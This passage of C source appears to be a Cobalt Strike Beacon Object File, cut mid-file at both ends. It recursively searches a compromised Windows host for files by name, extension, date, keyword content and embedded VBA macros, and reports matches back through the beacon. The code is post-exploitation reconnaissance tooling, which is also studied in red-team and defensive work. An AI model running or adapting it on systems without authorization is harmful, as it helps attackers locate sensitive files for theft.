KERNEL32$CloseHandle(h);\n        return FALSE;\n    }\n    ULONGLONG total = (ULONGLONG)finfo.EndOfFile.QuadPart;\n    DWORD win = (DWORD)((total > OOXML_SCAN_WINDOW) ? OOXML_SCAN_WINDOW : total);\n    char* buf = (char*)MSVCRT$malloc(win);\n    if (!buf) { KERNEL32$CloseHandle(h); return FALSE; }\n    LARGE_INTEGER off = {0};\n    ios.Status = ios.Information = 0;\n    BOOL isZip = FALSE, anyHit = FALSE;\n    if (NTDLL$NtReadFile(h, NULL, NULL, NULL, &ios, buf, win, &off, NULL) == 0 && ios.Information >= 4) {\n        isZip = (buf[0] == 'P' && buf[1] == 'K');\n        anyHit = buffer_contains(buf, (DWORD)ios.Information, \"vbaProject.bin\");\n        if (!anyHit && total > win) {\n            off.QuadPart = (LONGLONG)(total - win);\n            ios.Status = ios.Information = 0;\n            if (NTDLL$NtReadFile(h, NULL, NULL, NULL, &ios, buf, win, &off, NULL) == 0 && ios.Information >= 4) {\n                if (!isZip) isZip = (buf[0] == 'P' && buf[1] == 'K');\n                anyHit = buffer_contains(buf, (DWORD)ios.Information, \"vbaProject.bin\");\n            }\n        }\n    }\n    MSVCRT$free(buf);\n    KERNEL32$CloseHandle(h);\n    return (isZip && anyHit);\n}\nBOOL MatchWildcard(const char* pattern, const char* str) {\n    const char* s = str;\n    const char* p = pattern;\n    const char* star = NULL;\n    const char* ss = NULL;\n    while (*s) {\n        if (*p == '?' || MSVCRT$tolower(*p) == MSVCRT$tolower(*s)) { s++; p++; continue; }\n        if (*p == '*') { star = p++; ss = s; continue; }\n        if (star) { p = star + 1; s = ++ss; continue; }\n        return FALSE;\n    }\n    while (*p == '*') p++;\n    return !*p;\n}\nstatic BOOL HasWildcard(const char* str) {\n    if (!str) return FALSE;\n    for (const char* p = str; *p; p++) {\n        if (*p == '*' || *p == '?') return TRUE;\n    }\n    return FALSE;\n}\nstatic BOOL IsAlphanumeric(char c) {\n    return ((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9'));\n}\nstatic BOOL IsWordBoundary(const char* matchStart, const char* matchEnd, const char* buffer, DWORD bufferLen, const char* pattern) {\n    const char* patternEnd = pattern + MSVCRT$strlen(pattern);\n    const char* p = patternEnd - 1;\n    BOOL endsWithStar = FALSE;\n    while (p >= pattern && (*p == '*' || *p == '?')) {\n        if (*p == '*') {\n            endsWithStar = TRUE;\n        }\n        p--;\n    }\n    if (endsWithStar) return TRUE;\n    BOOL startsWithWildcard = (*pattern == '*' || *pattern == '?');\n    if (!startsWithWildcard && matchStart > buffer) {\n        char prevChar = matchStart[-1];\n        if (IsAlphanumeric(prevChar)) return FALSE;\n    }\n    if (matchEnd < buffer + bufferLen) {\n        char nextChar = *matchEnd;\n        if (IsAlphanumeric(nextChar)) return FALSE;\n    }\n    return TRUE;\n}\nBOOL MatchesKeyword(const char* filename, SearchOptions* opts) {\n    if (opts->keyword_count == 0) return TRUE;\n    const char* ext = MSVCRT$strrchr(filename, '.');\n    size_t nameLen = ext ? (size_t)(ext - filename) : MSVCRT$strlen(filename);\n    char* nameWithoutExt = (char*)MSVCRT$malloc(nameLen + 1);\n    if (!nameWithoutExt) return FALSE;\n    MSVCRT$memcpy(nameWithoutExt, filename, nameLen);\n    nameWithoutExt[nameLen] = '\\0';\n    for (int i = 0; i < opts->keyword_count; i++) {\n        const char* kw = opts->keywords[i];\n        if (!kw) continue;\n        if (HasWildcard(kw)) {\n            if (MatchWildcard(kw, nameWithoutExt)) {\n                MSVCRT$free(nameWithoutExt);\n                return TRUE;\n            }\n        } else {\n            size_t kwlen = MSVCRT$strlen(kw);\n            if (nameLen == kwlen) {\n                BOOL match = TRUE;\n                for (size_t j = 0; j < kwlen; j++) {\n                    if (MSVCRT$tolower((unsigned char)filename[j]) != MSVCRT$tolower((unsigned char)kw[j])) {\n                        match = FALSE;\n                        break;\n                    }\n                }\n                if (match) {\n                    MSVCRT$free(nameWithoutExt);\n                    return TRUE;\n                }\n            }\n        }\n    }\n    MSVCRT$free(nameWithoutExt);\n    return FALSE;\n}\nBOOL MatchesFiletype(const char* filepath, SearchOptions* opts) {\n    const char* ext = MSVCRT$strrchr(filepath, '.');\n    if (!ext) return FALSE;\n    for (int i = 0; i < opts->filetype_count; i++) {\n        if (opts->filetypes[i] && MSVCRT$_stricmp(ext, opts->filetypes[i]) == 0) return TRUE;\n    }\n    return FALSE;\n}\nBOOL IsFolderValid(const char* path, SearchOptions* opts) {\n    if (opts->system_dirs) return TRUE;\n    const char* p = path;\n    while (*p) {\n        if (*p == ':' && (p[1] == '\\\\')) {\n            const char* check = p + (p[2] == '\\\\' ? 3 : 2);\n            if (MSVCRT$strncmp(check, \"Windows\", 7) == 0 && (check[7] == '\\0' || check[7] == '\\\\')) return FALSE;\n            if (MSVCRT$strncmp(check, \"Program Files\", 13) == 0) {\n                check += 13;\n                while (*check == '\\\\') check++;\n                if (*check == '\\0' || *check == ' ') return FALSE;\n            }\n            if (MSVCRT$strncmp(check, \"Users\", 5) == 0) {\n                check += 5;\n                while (*check == '\\\\') check++;\n                if (MSVCRT$strstr(check, \"AppData\")) return FALSE;\n            }\n        }\n        p++;\n    }\n    return TRUE;\n}\nstatic void FormatFileDate(const FILETIME* creationTime, const FILETIME* modificationTime, char* dateStr, size_t dateStrSize) {\n    SYSTEMTIME st_creation, st_modification;\n    KERNEL32$FileTimeToSystemTime(creationTime, &st_creation);\n    KERNEL32$FileTimeToSystemTime(modificationTime, &st_modification);\n    MSVCRT$_snprintf(dateStr, dateStrSize, \"[C:%02d.%02d.%04d M:%02d.%02d.%04d]\",\n        st_creation.wDay, st_creation.wMonth, st_creation.wYear,\n        st_modification.wDay, st_modification.wMonth, st_modification.wYear);\n}\nstatic BOOL OutputSearchResult(const char* filepath, const FILETIME* filetime, const char* matchStart, const char* matchEnd, const char* lowercaseBuffer, const char* originalBuffer, DWORD bufferLen, SearchOptions* opts, DWORD* seenOffsets, int* seenOffsetsCount, int seenOffsetsCapacity) {\n    if (!opts) return FALSE;\n\n    size_t len = MSVCRT$strlen(filepath);\n    char* normalized = (char*)MSVCRT$malloc(len + 1);\n    if (!normalized) {\n        normalized = (char*)filepath; // Fallback to original path\n    } else {\n        MSVCRT$memcpy(normalized, filepath, len + 1);\n        NormalizePath(normalized);\n    }\n\n    BOOL alreadySeen = IsPathAlreadySeen(normalized, opts);\n\n    // Check if this match position was already output\n    if (matchStart && matchEnd && seenOffsets && seenOffsetsCount) {\n        size_t matchStartOffset = matchStart - lowercaseBuffer;\n        size_t matchEndOffset = matchEnd - lowercaseBuffer;\n        // Check if we've already output a match at this exact position or overlapping position\n        for (int i = 0; i < *seenOffsetsCount; i++) {\n            // Check if positions overlap (within a small tolerance to account for context differences)\n            DWORD startDiff = (matchStartOffset > seenOffsets[i]) ? (matchStartOffset - seenOffsets[i]) : (seenOffsets[i] - matchStartOffset);\n            if (startDiff <= CONTEXT_BUFFER_SIZE) {\n                // This match overlaps with an already output match, skip it\n                if (normalized != filepath) MSVCRT$free(normalized);\n                return FALSE;\n            }\n        }\n        // Add this position to seen offsets\n        if (*seenOffsetsCount < seenOffsetsCapacity) {\n            seenOffsets[*seenOffsetsCount] = (DWORD)matchStartOffset;\n            (*seenOffsetsCount)++;\n        }\n    }\n\n    char dateStr[35] = {0};\n    if (opts->show_date && filetime) {\n        WIN32_FILE_ATTRIBUTE_DATA fileInfo;\n        FILETIME creationTime = *filetime;\n        if (KERNEL32$GetFileAttributesExA(filepath, GetFileExInfoStandard, &fileInfo)) {\n            creationTime = fileInfo.ftCreationTime;\n        }\n        FormatFileDate(&creationTime, filetime, dateStr, sizeof(dateStr));\n    }\n\n    // If file was already seen and we have a match, only output the match context\n    if (alreadySeen && matchStart && matchEnd && originalBuffer) {\n        size_t matchStartOffset = matchStart - lowercaseBuffer;\n        size_t matchEndOffset = matchEnd - lowercaseBuffer;\n        size_t contextStartOffset = (matchStartOffset < CONTEXT_BUFFER_SIZE) ? 0 : matchStartOffset - CONTEXT_BUFFER_SIZE;\n        size_t contextEndOffset = (matchEndOffset + CONTEXT_BUFFER_SIZE > bufferLen) ? bufferLen : matchEndOffset + CONTEXT_BUFFER_SIZE;\n        size_t ctxLen = contextEndOffset - contextStartOffset;\n        char* ctx = (char*)MSVCRT$malloc(ctxLen + 1);\n        if (ctx) {\n            MSVCRT$memcpy(ctx, originalBuffer + contextStartOffset, ctxLen);\n            ctx[ctxLen] = '\\0';\n            BeaconPrintf(CALLBACK_OUTPUT, \"\\t ...%s...\\n\", ctx);\n            MSVCRT$free(ctx);\n        }\n        if (normalized != filepath) MSVCRT$free(normalized);\n        return TRUE;\n    }\n\n    // If file was already seen and no match, skip\n    if (alreadySeen) {\n        if (normalized != filepath) MSVCRT$free(normalized);\n        return FALSE;\n    }\n\n    // File not seen yet - output full result\n    if (matchStart && matchEnd && originalBuffer) {\n        size_t matchStartOffset = matchStart - lowercaseBuffer;\n        size_t matchEndOffset = matchEnd - lowercaseBuffer;\n        size_t contextStartOffset = (matchStartOffset < CONTEXT_BUFFER_SIZE) ? 0 : matchStartOffset - CONTEXT_BUFFER_SIZE;\n        size_t contextEndOffset = (matchEndOffset + CONTEXT_BUFFER_SIZE > bufferLen) ? bufferLen : matchEndOffset + CONTEXT_BUFFER_SIZE;\n        size_t ctxLen = contextEndOffset - contextStartOffset;\n        char* ctx = (char*)MSVCRT$malloc(ctxLen + 1);\n        if (ctx) {\n            MSVCRT$memcpy(ctx, originalBuffer + contextStartOffset, ctxLen);\n            ctx[ctxLen] = '\\0';\n            if (opts->show_date && dateStr[0]) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] %s %s:\\n\\t ...%s...\\n\", dateStr, normalized, ctx);\n            } else {\n                BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] %s:\\n\\t ...%s...\\n\", normalized, ctx);\n            }\n            MSVCRT$free(ctx);\n        } else {\n            if (opts->show_date && dateStr[0]) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] %s %s\\n\", dateStr, normalized);\n            } else {\n                BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] %s\\n\", normalized);\n            }\n        }\n    } else {\n        if (opts->show_date && dateStr[0]) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] %s %s\\n\", dateStr, normalized);\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] %s\\n\", normalized);\n        }\n    }\n\n    AddPathToSeen(normalized, opts);\n    if (normalized != filepath) MSVCRT$free(normalized);\n    return TRUE;\n}\nBOOL MatchesDateFilter(const FILETIME* filetime, SearchOptions* opts) {\n    if (!opts->has_date_filter) return TRUE;\n    SYSTEMTIME st;\n    KERNEL32$FileTimeToSystemTime(filetime, &st);\n    int file_date = st.wYear * 10000 + st.wMonth * 100 + st.wDay;\n    if (opts->before_date.wYear != 0) {\n        int before = opts->before_date.wYear * 10000 + opts->before_date.wMonth * 100 + opts->before_date.wDay;\n        return file_date < before;\n    }\n    if (opts->after_date.wYear != 0) {\n        int after = opts->after_date.wYear * 10000 + opts->after_date.wMonth * 100 + opts->after_date.wDay;\n        return file_date > after;\n    }\n    return TRUE;\n}\nint SearchFileContents(const char* filepath, const FILETIME* filetime, SearchOptions* opts) {\n    if (!opts->search_contents || opts->keyword_count == 0) {\n        return 0;\n    }\n    HANDLE hFile = KERNEL32$CreateFileA(filepath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n    if (hFile == INVALID_HANDLE_VALUE) {\n        return 0;\n    }\n    DWORD fileSizeHigh = 0;\n    DWORD fileSize = KERNEL32$GetFileSize(hFile, &fileSizeHigh);\n    ULONGLONG totalSize = ((ULONGLONG)fileSizeHigh << 32) | fileSize;\n    if (totalSize > MAX_CONTENT_BUFFER_SIZE || totalSize == 0) {\n        KERNEL32$CloseHandle(hFile);\n        return 0;\n    }\n    char* buffer = (char*)MSVCRT$malloc((size_t)totalSize + 1);\n    if (!buffer) {\n        KERNEL32$CloseHandle(hFile);\n        return 0;\n    }\n    DWORD bytesRead = 0;\n    if (!KERNEL32$ReadFile(hFile, buffer, (DWORD)totalSize, &bytesRead, NULL)) {\n        MSVCRT$free(buffer);\n        KERNEL32$CloseHandle(hFile);\n        return 0;\n    }\n    buffer[bytesRead] = '\\0';\n    KERNEL32$CloseHandle(hFile);\n    char* originalBuffer = (char*)MSVCRT$malloc((size_t)bytesRead + 1);\n    if (!originalBuffer) {\n        MSVCRT$free(buffer);\n        return 0;\n    }\n    MSVCRT$memcpy(originalBuffer, buffer, (size_t)bytesRead + 1);\n    for (DWORD i = 0; i < bytesRead; i++) {\n        buffer[i] = (char)MSVCRT$tolower((unsigned char)buffer[i]);\n    }\n    char** lowerKeywords = (char**)MSVCRT$malloc(sizeof(char*) * opts->keyword_count);\n    if (!lowerKeywords) { MSVCRT$free(buffer); MSVCRT$free(originalBuffer); return 0; }\n    for (int i = 0; i < opts->keyword_count; i++) {\n        const char* kw = opts->keywords[i];\n        if (!kw) { lowerKeywords[i] = NULL; continue; }\n        size_t len = MSVCRT$strlen(kw);\n        lowerKeywords[i] = (char*)MSVCRT$malloc(len + 1);\n        if (lowerKeywords[i]) {\n            for (size_t j = 0; j < len; j++) lowerKeywords[i][j] = (char)MSVCRT$tolower((unsigned char)kw[j]);\n            lowerKeywords[i][len] = '\\0';\n        } else {\n            lowerKeywords[i] = NULL;\n        }\n    }\n    // Track seen match offsets to avoid duplicate output\n    DWORD* seenOffsets = (DWORD*)MSVCRT$malloc(sizeof(DWORD) * MAX_MATCHES_PER_FILE);\n    int seenOffsetsCount = 0;\n    int seenOffsetsCapacity = MAX_MATCHES_PER_FILE;\n    if (!seenOffsets) {\n        seenOffsetsCapacity = 0;\n    }\n\n    int totalMatches = 0;\n    for (int i = 0; i < opts->keyword_count; i++) {\n        const char* kw = opts->keywords[i];\n        if (!kw || !lowerKeywords[i]) continue;\n        if (HasWildcard(kw)) {\n            size_t keywordLen = MSVCRT$strlen(kw);\n            size_t bufferLen = bytesRead;\n            char* lowerKeyword = lowerKeywords[i];\n            const char* bufferEnd = buffer + bufferLen;\n            const char* patternStart = lowerKeyword;\n            BOOL startsWithWildcard = (*lowerKeyword == '*' || *lowerKeyword == '?');\n            while (*patternStart == '*' || *patternStart == '?') {\n                patternStart++;\n            }\n            const char* patternEnd = lowerKeyword + keywordLen - 1;\n            BOOL endsWithStar = FALSE;\n            while (patternEnd >= lowerKeyword && (*patternEnd == '*' || *patternEnd == '?')) {\n                if (*patternEnd == '*') {\n                    endsWithStar = TRUE;\n                }\n                patternEnd--;\n            }\n            if (!*patternStart) {\n                const char* matchStart = buffer;\n                const char* matchEnd = buffer + (bufferLen > 100 ? 100 : bufferLen);\n                if (OutputSearchResult(filepath, filetime, matchStart, matchEnd, buffer, originalBuffer, (DWORD)bufferLen, opts, seenOffsets, &seenOffsetsCount, seenOffsetsCapacity)) {\n                    totalMatches++;\n                }\n            } else {\n                char firstChar = *patternStart;\n                const char* searchStart = buffer;\n                const char* maxSearchPos = bufferEnd;\n                ULONGLONG maxSearchSize = (opts->wildcard_max_size > 0) ? opts->wildcard_max_size : WILDCARD_MAX_SEARCH_SIZE;\n                if (bufferLen > maxSearchSize) {\n                    maxSearchPos = buffer + (size_t)maxSearchSize;\n                }\n                int maxAttempts = (opts->wildcard_max_attempts > 0) ? opts->wildcard_max_attempts : WILDCARD_MAX_MATCH_ATTEMPTS;\n                int attempts = 0;\n                int matchCount = 0;\n                while (searchStart < maxSearchPos && attempts < maxAttempts && matchCount < MAX_MATCHES_PER_FILE) {\n                    while (searchStart < maxSearchPos && *searchStart != firstChar) {\n                        searchStart++;\n                    }\n                    if (searchStart >= maxSearchPos) break;\n                    size_t patternLen = MSVCRT$strlen(lowerKeyword);\n                    size_t maxBackward = (patternLen < 100) ? patternLen : 100;\n                    const char* tryStart = startsWithWildcard && (searchStart - buffer) > maxBackward\n                        ? searchStart - maxBackward\n                        : (startsWithWildcard ? buffer : searchStart);\n                    BOOL foundMatch = FALSE;\n                    for (const char* testStart = tryStart; testStart <= searchStart && matchCount < MAX_MATCHES_PER_FILE; testStart++) {\n                        const char* p = lowerKeyword;\n                        const char* t = testStart;\n                        const char* lastStar = NULL;\n                        const char* lastStarPos = NULL;\n                        BOOL matched = TRUE;\n                        int backtrackCount = 0;\n                        int maxBacktrack = (opts->wildcard_max_backtrack > 0) ? opts->wildcard_max_backtrack : WILDCARD_MAX_BACKTRACK;\n                        const char* firstLetterPos = NULL;\n                        BOOL firstLetterFound = FALSE;\n                        while (*p && t < maxSearchPos && backtrackCount < maxBacktrack) {\n                            if (*p == '*') {\n                                while (*p == '*') p++;\n                                if (!*p) {\n                                    const char* endPos = t;\n                                    while (endPos < maxSearchPos && IsAlphanumeric(*endPos)) {\n                                        endPos++;\n                                    }\n                                    const char* matchStartPos = firstLetterFound ? firstLetterPos : testStart;\n                                    if (OutputSearchResult(filepath, filetime, matchStartPos, endPos, buffer, originalBuffer, (DWORD)bufferLen, opts, seenOffsets, &seenOffsetsCount, seenOffsetsCapacity)) {\n                                        matchCount++;\n                                        totalMatches++;\n                                    }\n                                    foundMatch = TRUE;\n                                    matched = TRUE;\n                                    break;\n                                }\n                                lastStar = p;\n                                lastStarPos = t;\n                            } else if (*p == '?' || *t == *p) {\n                                if (!firstLetterFound && *p != '?') {\n                                    firstLetterPos = t;\n                                    firstLetterFound = TRUE;\n                                }\n                                p++;\n                                t++;\n                            } else if (lastStar) {\n                                p = lastStar;\n                                t = ++lastStarPos;\n                                backtrackCount++;\n                                firstLetterFound = FALSE;\n                                firstLetterPos = NULL;\n                            } else {\n                                matched = FALSE;\n                                break;\n                            }\n                        }\n                        if (matched && !*p && t <= maxSearchPos) {\n                            BOOL boundaryCheck = TRUE;\n                            if (!endsWithStar) {\n                                boundaryCheck = IsWordBoundary(testStart, t, buffer, (DWORD)bufferLen, lowerKeyword);\n                            }\n                            if (boundaryCheck) {\n                                const char* endPos = t;\n                                if (endsWithStar) {\n                                    while (endPos < maxSearchPos && IsAlphanumeric(*endPos)) {\n                                        endPos++;\n                                    }\n                                }\n                                const char* matchStartPos = firstLetterFound ? firstLetterPos : testStart;\n                                if (OutputSearchResult(filepath, filetime, matchStartPos, endPos, buffer, originalBuffer, (DWORD)bufferLen, opts, seenOffsets, &seenOffsetsCount, seenOffsetsCapacity)) {\n                                    matchCount++;\n                                    totalMatches++;\n                                }\n                                foundMatch = TRUE;\n                            }\n                        }\n                    }\n                    searchStart++;\n                    attempts++;\n                }\n                if (matchCount >= MAX_MATCHES_PER_FILE) {\n                    BeaconPrintf(CALLBACK_OUTPUT, \"[!] File %s: Reached maximum matches limit (%d) for pattern\\n\", filepath, MAX_MATCHES_PER_FILE);\n                }\n            }\n        } else {\n            size_t keywordLen = MSVCRT$strlen(kw);\n            if (keywordLen == 0) continue;\n            char* lowerKeyword = lowerKeywords[i];\n            int matchCount = 0;\n            const char* match = buffer;\n            while ((match = MSVCRT$strstr(match, lowerKeyword)) != NULL && matchCount < MAX_MATCHES_PER_FILE) {\n                BOOL isWordStart = (match == buffer ||\n                    (match > buffer && (match[-1] < 'a' || match[-1] > 'z')));\n                BOOL isWordEnd = (match + keywordLen >= buffer + bytesRead ||\n                    (match[keywordLen] < 'a' || match[keywordLen] > 'z'));\n                if (isWordStart && isWordEnd) {\n                    const char* matchEnd = match + keywordLen;\n                    if (OutputSearchResult(filepath, filetime, match, matchEnd, buffer, originalBuffer, bytesRead, opts, seenOffsets, &seenOffsetsCount, seenOffsetsCapacity)) {\n                        matchCount++;\n                        totalMatches++;\n                    }\n                    match += keywordLen;\n                } else {\n                    match++;\n                }\n            }\n            if (matchCount >= MAX_MATCHES_PER_FILE) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[!] File %s: Reached maximum matches limit (%d) for keyword\\n\", filepath, MAX_MATCHES_PER_FILE);\n            }\n        }\n    }\n    for (int i = 0; i < opts->keyword_count; i++) MSVCRT$free(lowerKeywords[i]);\n    MSVCRT$free(lowerKeywords);\n    MSVCRT$free(buffer);\n    MSVCRT$free(originalBuffer);\n    if (seenOffsets) MSVCRT$free(seenOffsets);\n    return totalMatches;\n}\nvoid SearchDirectory(const char* dir_path, SearchOptions* opts) {\n    WIN32_FIND_DATAA findData;\n    HANDLE hFind;\n    char search_path[MAX_PATH_LENGTH + 4];\n    char file_path[MAX_PATH_LENGTH];\n    if (opts->search_contents) {\n        if (opts->result_count >= MAX_RESULTS) {\n            return;\n        }\n    } else {\n        if (opts->file_count >= MAX_RESULTS) {\n            return;\n        }\n    }\n    if (MSVCRT$strlen(dir_path) > MAX_PATH_LENGTH - 3) {\n        return;\n    }\n    MSVCRT$_snprintf(search_path, sizeof(search_path), \"%s\\\\*\", dir_path);\n    hFind = KERNEL32$FindFirstFileA(search_path, &findData);\n    if (hFind == INVALID_HANDLE_VALUE) {\n        DWORD error = KERNEL32$GetLastError();\n        if (error != ERROR_ACCESS_DENIED && error != ERROR_FILE_NOT_FOUND && error != ERROR_PATH_NOT_FOUND) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Cannot access directory %s (Error: %lu)\\n\", dir_path, error);\n        }\n        return;\n    }\n    do {\n        if (opts->search_contents) {\n            if (opts->result_count >= MAX_RESULTS) {\n                break;\n            }\n        } else {\n            if (opts->file_count >= MAX_RESULTS) {\n                break;\n            }\n        }\n        if (MSVCRT$strcmp(findData.cFileName, \".\") == 0 ||\n            MSVCRT$strcmp(findData.cFileName, \"..\") == 0) {\n            continue;\n        }\n        if (MSVCRT$strlen(dir_path) + MSVCRT$strlen(findData.cFileName) + 2 > MAX_PATH_LENGTH) {\n            continue;\n        }\n        MSVCRT$_snprintf(file_path, sizeof(file_path), \"%s\\\\%s\", dir_path, findData.cFileName);\n        file_path[MAX_PATH_LENGTH - 1] = '\\0';\n        if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {\n            if (IsFolderValid(file_path, opts)) {\n                SearchDirectory(file_path, opts);\n            }\n            continue;\n        }\n        if (!MatchesFiletype(file_path, opts)) {\n            continue;\n        }\n        ULONGLONG file_size = ((ULONGLONG)findData.nFileSizeHigh << 32) | findData.nFileSizeLow;\n        ULONGLONG file_size_kb = file_size / 1024;\n        if (file_size_kb > opts->max_file_size_kb && opts->search_contents) {\n            continue;\n        }\n        if (!MatchesDateFilter(&findData.ftLastWriteTime, opts)) {\n            continue;\n        }\n        BOOL nameMatch = (opts->keyword_count == 0) ? TRUE : MatchesKeyword(findData.cFileName, opts);\n        if (opts->check_for_macro) {\n            if (!CheckForVBAMacrosStrict(file_path, FALSE)) {\n                continue;\n            }\n        }\n        int contentMatches = 0;\n        if (opts->search_contents) {\n            contentMatches = SearchFileContents(file_path, &findData.ftLastWriteTime, opts);\n        }\n        if (contentMatches > 0) {\n            opts->result_count += contentMatches;\n            opts->file_count++;\n        } else if (nameMatch && !opts->search_contents) {\n            if (IsPathAlreadySeen(file_path, opts)) {\n                continue;\n            }\n            if (opts->file_count >= MAX_RESULTS) {\n                break;\n            }\n            NormalizePath(file_path);\n            size_t pathLen = MSVCRT$strlen(file_path);\n            if (pathLen < MAX_PATH_LENGTH) {\n                file_path[pathLen] = '\\0';\n            } else {\n                file_path[MAX_PATH_LENGTH - 1] = '\\0';\n            }\n            char dateStr[35] = {0};\n            if (opts->show_date) {\n                FormatFileDate(&findData.ftCreationTime, &findData.ftLastWriteTime, dateStr, sizeof(dateStr));\n            }\n            if (opts->show_date && dateStr[0]) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] %s %s\\n\", dateStr, file_path);\n            } else {\n                BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] %s\\n\", file_path);\n            }\n            AddPathToSeen(file_path, opts);\n            opts->file_count++;\n        }\n    } while (KERNEL32$FindNextFileA(hFind, &findData));\n    KERNEL32$FindClose(hFind);\n}\nvoid TrimQuotes(char* str) {\n    if (!str || !*str) return;\n    char* start = str;\n    while (*start == '\\'' || *start == '\\\"') start++;\n    if (!*start) { *str = '\\0'; return; }\n    char* end = start;\n    while (*end) end++;\n    while (end > start && (end[-1] == '\\'' || end[-1] == '\\\"')) end--;\n    if (start != str) {\n        size_t len = end - start;\n        MSVCRT$memcpy(str, start, len);\n        str[len] = '\\0';\n    } else {\n        *end = '\\0';\n    }\n}\nvoid NormalizePath(char* path) {\n    if (!path || !*path) return;\n    char* write = path;\n    const char* read = path;\n    while (*read) {\n        if (*read == '\\\\' && read[1] == '\\\\') {\n            *write++ = '\\\\';\n            read += 2;\n        } else {\n            *write++ = *read++;\n        }\n    }\n    *write = '\\0';\n}\nvoid GetCanonicalPath(const char* filepath, char* canonical, size_t canonicalSize) {\n    if (!filepath || !canonical || canonicalSize == 0) {\n        if (canonical && canonicalSize > 0) canonical[0] = '\\0';\n        return;\n    }\n    DWORD len = KERNEL32$GetFullPathNameA(filepath, (DWORD)canonicalSize, canonical, NULL);\n    if (len == 0 || len >= canonicalSize) {\n        size_t pathLen = MSVCRT$strlen(filepath);\n        if (pathLen >= canonicalSize) pathLen = canonicalSize - 1;\n        MSVCRT$memcpy(canonical, filepath, pathLen);\n        canonical[pathLen] = '\\0';\n    }\n    NormalizePath(canonical);\n    BOOL is_all_users = FALSE;\n    size_t prefix_len = 0;\n    if (MSVCRT$_strnicmp(canonical, \"C:\\\\Users\\\\All Users\", 19) == 0) {\n        if (canonical[19] == '\\\\' || canonical[19] == '\\0') {\n            is_all_users = TRUE;\n            prefix_len = 20;\n            if (canonical[19] == '\\0') prefix_len = 19;\n        }\n    }\n    else if (MSVCRT$strncmp(canonical, \"C:\\\\Users\\\\\", 10) == 0) {\n        const unsigned char* check = (const unsigned char*)(canonical + 10);\n        const unsigned char vse_pattern[] = {0xD0, 0x92, 0xD1, 0x81, 0xD0, 0xB5, 0x20, 0xD0, 0xBF, 0xD0, 0xBE, 0xD0, 0xBB, 0xD1, 0x8C, 0xD0, 0xB7, 0xD0, 0xBE, 0xD0, 0xB2, 0xD0, 0xB0, 0xD1, 0x82, 0xD0, 0xB5, 0xD0, 0xBB, 0xD0, 0xB8};\n        if (MSVCRT$memcmp(check, vse_pattern, sizeof(vse_pattern)) == 0) {\n            if (canonical[10 + sizeof(vse_pattern)] == '\\\\' || canonical[10 + sizeof(vse_pattern)] == '\\0') {\n                is_all_users = TRUE;\n                prefix_len = 10 + sizeof(vse_pattern) + 1;\n                if (canonical[10 + sizeof(vse_pattern)] == '\\0') prefix_len = 10 + sizeof(vse_pattern);\n            }\n        }\n    }\n    if (is_all_users && prefix_len > 0) {\n        size_t remaining_len = MSVCRT$strlen(canonical + prefix_len);\n        if (remaining_len + 16 < canonicalSize) {\n            char temp[MAX_PATH_LENGTH];\n            MSVCRT$memcpy(temp, \"C:\\\\ProgramData\\\\\", 16);\n            if (remaining_len > 0) {\n                MSVCRT$memcpy(temp + 15, canonical + prefix_len, remaining_len + 1);\n            } else {\n                temp[15] = '\\0';\n            }\n            MSVCRT$memcpy(canonical, temp, MSVCRT$strlen(temp) + 1);\n        }\n    }\n    for (char* p = canonical; *p; p++) {\n        if ((unsigned char)*p < 128) {\n            *p = (char)MSVCRT$tolower((unsigned char)*p);\n        }\n    }\n}\nBOOL IsPathAlreadySeen(const char* filepath, SearchOptions* opts) {\n    if (!filepath || !opts) return FALSE;\n    if (!opts->seen_paths) {\n        opts->seen_paths_capacity = 256;\n        opts->seen_paths = (char**)MSVCRT$malloc(sizeof(char*) * opts->seen_paths_capacity);\n        if (!opts->seen_paths) return FALSE;\n        opts->seen_paths_count = 0;\n    }\n    char canonical[MAX_PATH_LENGTH];\n    GetCanonicalPath(filepath, canonical, sizeof(canonical));\n    for (int i = 0; i < opts->seen_paths_count; i++) {\n        if (opts->seen_paths[i] && MSVCRT$strcmp(opts->seen_paths[i], canonical) == 0) {\n            return TRUE;\n        }\n    }\n    return FALSE;\n}\nvoid AddPathToSeen(const char* filepath, SearchOptions* opts) {\n    if (!filepath || !opts) return;\n    if (!opts->seen_paths) {\n        opts->seen_paths_capacity = 256;\n        opts->seen_paths = (char**)MSVCRT$malloc(sizeof(char*) * opts->seen_paths_capacity);\n        if (!opts->seen_paths) return;\n        opts->seen_paths_count = 0;\n    }\n    if (opts->seen_paths_count >= opts->seen_paths_capacity) {\n        int new_capacity = opts->seen_paths_capacity * 2;\n        char** new_array = (char**)MSVCRT$realloc(opts->seen_paths, sizeof(char*) * new_capacity);\n        if (!new_array) return;\n        opts->seen_paths = new_array;\n        opts->seen_paths_capacity = new_capacity;\n    }\n    char canonical[MAX_PATH_LENGTH];\n    GetCanonicalPath(filepath, canonical, sizeof(canonical));\n    size_t len = MSVCRT$strlen(canonical);\n    opts->seen_paths[opts->seen_paths_count] = (char*)MSVCRT$malloc(len + 1);\n    if (opts->seen_paths[opts->seen_paths_count]) {\n        MSVCRT$memcpy(opts->seen_paths[opts->seen_paths_count], canonical, len + 1);\n        opts->seen_paths_count++;\n    }\n}\nvoid ParseCSVList(char* str, char*** list, int* count) {\n    if (!str || !*str) { *list = NULL; *count = 0; return; }\n    int item_count = 1;\n    for (int i = 0; str[i]; i++) if (str[i] == ',') item_count++;\n    *list = (char**)MSVCRT$malloc(sizeof(char*) * item_count);\n    *count = item_count;\n    if (!*list) { *count = 0; return; }\n    size_t len = MSVCRT$strlen(str);\n    char* str_copy = (char*)MSVCRT$malloc(len + 1);\n    if (!str_copy) { MSVCRT$free(*list); *list = NULL; *count = 0; return; }\n    MSVCRT$memcpy(str_copy, str, len + 1);\n    char* token = MSVCRT$strtok(str_copy, \",\");\n    int idx = 0;\n    